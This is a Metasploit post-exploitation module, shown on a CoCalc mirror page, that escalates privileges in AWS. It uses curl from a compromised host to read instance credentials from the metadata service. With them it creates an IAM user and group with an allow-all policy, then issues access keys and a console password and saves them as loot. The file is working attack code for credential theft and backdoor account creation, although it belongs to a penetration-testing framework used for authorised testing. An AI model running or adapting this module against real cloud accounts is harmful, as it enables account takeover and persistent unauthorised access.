Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/escalate/aws_create_iam_user.rb
19721 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'metasploit/framework/aws/client'
7
require 'json'
8
9
class MetasploitModule < Msf::Post
10
include Metasploit::Framework::Aws::Client
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Create an AWS IAM User',
17
'Description' => %q{
18
This module will attempt to create an AWS (Amazon Web Services) IAM
19
(Identity and Access Management) user with Admin privileges.
20
},
21
'License' => MSF_LICENSE,
22
'Platform' => %w[unix],
23
'SessionTypes' => %w[shell meterpreter],
24
'Author' => [
25
'Javier Godinez <godinezj[at]gmail.com>',
26
'Jon Hart <[email protected]>'
27
],
28
'References' => [
29
[ 'URL', 'https://github.com/devsecops/bootcamp/raw/master/Week-6/slides/june-DSO-bootcamp-week-six-lesson-three.pdf' ]
30
],
31
'Notes' => {
32
'Stability' => [CRASH_SAFE],
33
'SideEffects' => [CONFIG_CHANGES],
34
'Reliability' => []
35
}
36
)
37
)
38
39
register_options(
40
[
41
OptString.new('IAM_USERNAME', [false, 'Name of the user to be created (leave empty or unset to use a random name)', '']),
42
OptString.new('IAM_PASSWORD', [false, 'Password to set for the user to be created (leave empty or unset to use a random name)', '']),
43
OptString.new('IAM_GROUPNAME', [false, 'Name of the group to be created (leave empty or unset to use a random name)', '']),
44
OptBool.new('CREATE_API', [true, 'Add access key ID and secret access key to account (API, CLI, and SDK access)', true]),
45
OptBool.new('CREATE_CONSOLE', [true, 'Create an account with a password for accessing the AWS management console', true]),
46
OptString.new('AccessKeyId', [false, 'AWS access key', '']),
47
OptString.new('SecretAccessKey', [false, 'AWS secret key', '']),
48
OptString.new('Token', [false, 'AWS session token', ''])
49
]
50
)
51
register_advanced_options(
52
[
53
OptString.new('METADATA_IP', [true, 'The metadata service IP', '169.254.169.254']),
54
OptString.new('RHOST', [true, 'AWS IAM Endpoint', 'iam.amazonaws.com']),
55
OptPort.new('RPORT', [true, 'AWS IAM Endpoint TCP Port', 443]),
56
OptString.new('SSL', [true, 'AWS IAM Endpoint SSL', true]),
57
OptString.new('IAM_GROUP_POL', [true, 'IAM group policy to use', '{"Version": "2012-10-17", "Statement": [{"Effect": "Allow", "Action": "*", "Resource": "*" }]}']),
58
OptString.new('Region', [true, 'The default region', 'us-east-1' ])
59
]
60
)
61
deregister_options('VHOST')
62
end
63
64
def setup
65
if !(datastore['CREATE_API'] || datastore['CREATE_CONSOLE'])
66
fail_with(Failure::BadConfig, 'Must set one or both of CREATE_API and CREATE_CONSOLE')
67
end
68
end
69
70
def run
71
# setup creds for making IAM API calls
72
creds = metadata_creds
73
if datastore['AccessKeyId'].empty?
74
unless creds.include?('AccessKeyId')
75
print_error('Could not find creds')
76
return
77
end
78
else
79
creds = {
80
'AccessKeyId' => datastore['AccessKeyId'],
81
'SecretAccessKey' => datastore['SecretAccessKey']
82
}
83
creds['Token'] = datastore['Token'] unless datastore['Token'].blank?
84
end
85
86
results = {}
87
88
# create user
89
username = datastore['IAM_USERNAME'].blank? ? Rex::Text.rand_text_alphanumeric(16) : datastore['IAM_USERNAME']
90
print_status("Creating user: #{username}")
91
action = 'CreateUser'
92
doc = call_iam(creds, 'Action' => action, 'UserName' => username)
93
print_results(doc, action)
94
results['UserName'] = username
95
96
# create group
97
groupname = datastore['IAM_GROUPNAME'].blank? ? username : datastore['IAM_GROUPNAME']
98
print_status("Creating group: #{groupname}")
99
action = 'CreateGroup'
100
doc = call_iam(creds, 'Action' => action, 'GroupName' => groupname)
101
print_results(doc, action)
102
results['GroupName'] = groupname
103
104
# create group policy
105
print_status('Creating group policy')
106
pol_doc = datastore['IAM_GROUP_POL']
107
action = 'PutGroupPolicy'
108
doc = call_iam(creds, 'Action' => action, 'GroupName' => groupname, 'PolicyName' => 'Policy', 'PolicyDocument' => URI::DEFAULT_PARSER.escape(pol_doc))
109
print_results(doc, action)
110
111
# add user to group
112
print_status("Adding user (#{username}) to group: #{groupname}")
113
action = 'AddUserToGroup'
114
doc = call_iam(creds, 'Action' => action, 'UserName' => username, 'GroupName' => groupname)
115
print_results(doc, action)
116
117
if datastore['CREATE_API']
118
# create API keys
119
print_status("Creating API Keys for #{username}")
120
action = 'CreateAccessKey'
121
response = call_iam(creds, 'Action' => action, 'UserName' => username)
122
doc = print_results(response, action)
123
if doc
124
results['SecretAccessKey'] = doc['SecretAccessKey']
125
results['AccessKeyId'] = doc['AccessKeyId']
126
end
127
end
128
129
if datastore['CREATE_CONSOLE']
130
print_status("Creating password for #{username}")
131
password = datastore['IAM_PASSWORD'].blank? ? Rex::Text.rand_text_alphanumeric(16) : datastore['IAM_PASSWORD']
132
action = 'CreateLoginProfile'
133
response = call_iam(creds, 'Action' => action, 'UserName' => username, 'Password' => password)
134
doc = print_results(response, action)
135
results['Password'] = password if doc
136
end
137
138
action = 'GetUser'
139
response = call_iam(creds, 'Action' => action, 'UserName' => username)
140
doc = print_results(response, action)
141
return if doc.nil?
142
143
arn = doc['Arn']
144
results['AccountId'] = arn[/^arn:aws:iam::(\d+):/, 1]
145
146
keys = results.keys
147
table = Rex::Text::Table.new(
148
'Header' => 'AWS Account Information',
149
'Columns' => keys
150
)
151
table << results.values
152
print_line(table.to_s)
153
154
if results.key?('AccessKeyId')
155
print_good('AWS CLI/SDK etc can be accessed by configuring with the above listed values')
156
end
157
158
if results.key?('Password')
159
print_good("AWS console URL https://#{results['AccountId']}.signin.aws.amazon.com/console may be used to access this account")
160
end
161
162
path = store_loot('AWS credentials', 'text/plain', session, JSON.pretty_generate(results))
163
print_good('AWS loot stored at: ' + path)
164
end
165
166
def metadata_creds
167
# TODO: do it for windows/generic way
168
cmd_out = cmd_exec('curl --version')
169
if cmd_out =~ /^curl \d/
170
url = "http://#{datastore['METADATA_IP']}/2012-01-12/meta-data/"
171
print_status("#{datastore['METADATA_IP']} - looking for creds...")
172
resp = cmd_exec("curl #{url}")
173
if resp =~ /^iam.*/
174
resp = cmd_exec("curl #{url}iam/")
175
if resp =~ /^security-credentials.*/
176
resp = cmd_exec("curl #{url}iam/security-credentials/")
177
json_out = cmd_exec("curl #{url}iam/security-credentials/#{resp}")
178
begin
179
return JSON.parse(json_out)
180
rescue JSON::ParserError
181
print_error 'Could not parse JSON output'
182
end
183
end
184
end
185
else
186
print_error cmd_out
187
end
188
{}
189
end
190
end
191
192